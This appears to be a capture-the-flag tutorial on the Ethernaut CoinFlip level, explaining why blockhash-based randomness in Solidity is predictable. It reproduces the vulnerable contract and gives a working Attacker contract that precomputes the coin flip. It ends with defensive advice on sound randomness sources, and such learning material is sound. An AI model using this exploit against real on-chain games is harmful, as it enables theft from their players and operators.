Requirements: Remix IDE, basic understanding of how randomness works in a public blockchain.
How Ethereum generates randomness? π€π€―
Developers create pseudo-randomess by hashing a few built-in global variables in Solidity that are unique or difficult to tamper with. A few examples of these variables are: block.number
, blockhash
and block.difficulty
.
Currently, Ethereum offers the KECCAK256
hash function. Devs used it to hash the concatenated string of these variables.
After the variables are hashed, they are turned into a large integer and then are mod'ed by a factor n. This is done to get a discrete set range of probability integers in the desired range of 0 to n.
In
CoinFlip
n=2 to represent the two sides of the coin.
This methodology of deriving pseudo-randomness makes smart contracts vulnerable to attacks because all the necessary inputs required by attackers are public.
The Challenge πββοΈπ
Accumulate 10 straight wins given the following game:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Studying the contract π¨βπ«π©βπ«
CoinFlip.sol
is a basic guessing game. Players have to call flip
with their guess. If the guess was right, the player wins and their wins are accumulated and tracked in the consecutiveWins
state variable.
To create a random number generator (RNG) the game implements blockhash(block.number - 1)
as a source of randomness.
To prevent an attacker from using a loop to beat the game in one contract call the game implements this safeguard:
// The tx will throw if you try a loop because
// `block.number` will be the same
if (lastHash == blockValue) {
revert();
}
Breaking the game π
After a deeper inspection we can find the following vulnerabilities:
blockhash
andblock.number
are known by us, so we can use them to acurately guess the side of the coin.The code is public. We can easily read and replicate the computation of the pseudo-randomness in an
Attacker
contract to anticipate the result.
Go to Remix IDE, create a new file titled Attacker.sol
and fill it with the following content:
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract Attacker {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function attackCoinFlip(address _victim) external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 flip = blockValue / FACTOR;
bool guess = flip == 1 ? true : false;
if(guess) {
// if I was correct submit my guess
ICoinFlip(_victim).flip(guess);
}
}
}
The interface ICoinFlip
contains the target flip
function we are going to exploit from our attacker contract.
Attacker.sol
is a basic contract that implements the same randomness computation from CoinFlip
in order to anticipate the result. To cheat the game we will compute our guess and only call flip
if our guess is correct in that way consecutiveWins
will not be reset to zero.
OK! now we are ready to exploit this game. π§¨
Request a new instance of CoinFlip
to the main contract game, after the transaction is mined copy the address of the newly created instance.
Go Remix and deploy Attacker
.
After the contract is deployed, call flip
with the address of CoinFlip
as a parameter. After the transaction is completed, in your dev tools check consecutiveWins
, luckily you will have one win, if not, just keep calling the function and checking the variable until you accumulate the goal of 10
wins.
(await contract.consecutiveWins()).toString()
Uf! it took me 31 calls, I really hope it was quicker for you.
If you followed me, congratulations you just hacked CoinFlip
!
Conclusion π§βπ
Blockchains are public and deterministic networks, in them there is no such thing as a true source of randomness. Using validators/miners defined values like the hash of the previous block, means that the random number is not actually random because is already known by the entire network.
Validators and miners can manipulate these values because they are the first ones to see the hash of a block and they may decide to throw out a block in which the targeted blockhash
won't produced the desired outcome in your game.
Using this source of randomness is not wrong, it boils down to for what the randomness is being used for. If you are planning on building a lottery, the winner needs to determined with a more robust source of randomness, services like Chainlink VRF should be considered for this type of dApps.
Attacking CoinFlip
took me 31 calls and aprox. 1,480,734 units of gas. If the attack would been carried out on mainnet it would have cost me aprox. 149.86 USD. No one would've spent this amount of money to exploit a game with no actual prize, but if after accumulating the 10 wins there had been a monetary prize, hackers would have had a motivation in breaking your game, so depending of your application carefully choose a correct source of randomness.
Top comments (0)